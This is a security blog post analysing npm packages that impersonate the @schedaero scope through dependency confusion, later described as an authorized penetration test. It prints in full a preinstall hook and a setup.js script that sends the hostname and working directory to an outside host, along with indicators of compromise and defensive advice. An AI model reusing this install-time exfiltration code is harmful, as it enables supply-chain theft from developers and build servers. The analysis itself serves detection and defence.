Malicious npm Packages Target Schedaero via Dependency Confusion
Table of Contents
Updates - 2026-02-28
After publishing this post, we were informed through public channel that the activity described here was part of an authorized penetration test / security assessment. We are sharing this update for transparency and accuracy.
This was a controlled security assessment, not a malicious attack, and no systems or data were impacted.
TL;DR
Our malicious package scanning infrastructure recently flagged a cluster of malicious npm packages executing a classic Dependency Confusion attack. The packages impersonate internal scopes of @schedaero.
The attacker, acting under the npm handle noboots11, published multiple identical packages. These packages contain a malicious preinstall script that executes immediately upon installation, gathering system information and exfiltrating it via a customized User-Agent string to a suspicious endpoint, then exiting successfully so the npm installation continues.
The Malicious Campaign

The threat actor published several packages under the @schedaero npm organization scope. All packages share the exact same version (99440.540.1)—an artificially inflated version number meant to guarantee it overrides any internal versions and the identical payload.
The flagged packages include:
@Schedaero/shared@Schedaero/net-common@Schedaero/bacon@Schedaero/yukon@Schedaero/react-core
So far, we have observed more than 500 downloads across these 5 packages. This suggests that misconfigured systems or automated build pipelines had already begun pulling the malicious code.
The packages use a generic, auto-generated description: “A comprehensive arithmetic toolkit with helper methods and extensive documentation.”
Analyzing the Attack Vector
The infection vector relies on the preinstall hook in package.json. This lifecycle script allows arbitrary code execution before the package is successfully installed.
Here is the malicious package.json for @Schedaero/shared:
{ "name": "@Schedaero/shared", "version": "99440.540.1", "description": "A comprehensive arithmetic toolkit with helper methods and extensive documentation.", "main": "src/index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node scripts/setup.js" }, "keywords": ["arithmetic", "math", "helpers", "documentation"], "author": "Arithmetic Inc.", "license": "MIT", "dependencies": { "@Schedaero/shared": "^99439.540.1" }}Notice the preinstall: "node scripts/setup.js" directive. As soon as npm install @Schedaero/shared is invoked, setup.js executes.
Payload Analysis: setup.js
The execution of setup.js reveals a lightweight reconnaissance and data exfiltration payload.
const https = require('https');const os = require('os');
/** * @file This script is executed before the package is installed. * Performs license checks if necessary. */
const LICENSE_URL = 'https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/';const hostname = os.hostname();const c = process.cwd();
console.log('Sending installation callback...');
const options = { hostname: new URL(LICENSE_URL).hostname, path: new URL(LICENSE_URL).pathname, method: 'GET', headers: { 'User-Agent': `Node.js/${process.version} (${hostname}) [${c}]`, },};
const req = https.request(options, (res) => { console.log(`License callback request sent. Status Code: ${res.statusCode}`);});
req.setTimeout(2000, () => { console.error('Callback request timed out. Aborting.'); req.destroy();});
req.on('error', (err) => { console.error('Error sending callback:', err.message);});
req.on('close', () => { console.log('Callback request finished.'); process.exit(0);});
console.log('End');req.end();The domain https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ is identified as malicious by multiple vendors.

Breaking Down the Payload
- Deceptive Comments: The script pretends to perform a “license check”, a common social engineering tactic to deflect suspicion if a developer inspects the code.
- Reconnaissance: It gathers two critical pieces of environmental context: the machine’s
hostnameand the current working directory (process.cwd()). This tells the attacker who executed the code and where it ran (e.g., inside a specific project folder like/opt/buildagents/work/schedaero-api). - Exfiltration via HTTP Headers: The gathered data is stealthily packed into the
User-AgentHTTP header, completely bypassing basic network inspection tools that only check URL parameters or request bodies.- Example exfiltrated header:
User-Agent: Node.js/v20.11.0 (dev-macbook-pro) [/Users/dev/projects/Schedaero/internal-app]
- Example exfiltrated header:
- Forced Process Exit: In the
closehandler, the script executesprocess.exit(0);. This unconditionally halts the Node.js process with a “success” code. This abrupt termination stops the actual npm installation process from continuing. The likely goal is to prevent throwing a visible installation error down the line while successfully completing the DNS/HTTP callback to the attacker’s infrastructure.
Indicators of Compromise (IOCs)
| Indicator Type | Value |
|---|---|
| Malicious URL | https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ |
| Domain | gjq.io |
| npm Author | noboots11 |
| Suspect Scope | @Schedaero/* |
Conclusion
This campaign represents a textbook Dependency Confusion attack characterized by an artificially inflated version number, targeted scope impersonation, and immediate pre-install execution. The exfiltration of the hostname and current working directory allows the threat actor to verify if they have successfully breached an employee’s workstation or a corporate build server, providing a foothold for further targeted compromise.
Defending against dependency confusion requires strict control over package resolution. Organizations should enforce scope-to-registry mapping (ensuring @internal-scopes only resolve to private registries) and utilize tools that scan for anomalous package behaviors, such as unexpected preinstall lifecycle execution and external network calls, before the code ever reaches the developer machine.
- npm
- oss
- malware
- supply-chain
- security
- dependency-confusion
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious hermes-px on PyPI Steals AI Conversations
hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt.

Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2
A coordinated campaign of thirty-six malicious npm packages published by four sock-puppet accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1) targets Strapi CMS deployments with eight...

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Compromised npm Package mgc Deploys Multi-Platform RAT
The npm package mgc was compromised via account takeover, with four malicious versions published in rapid succession deploying a full Remote Access Trojan targeting macOS, Windows, and Linux.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
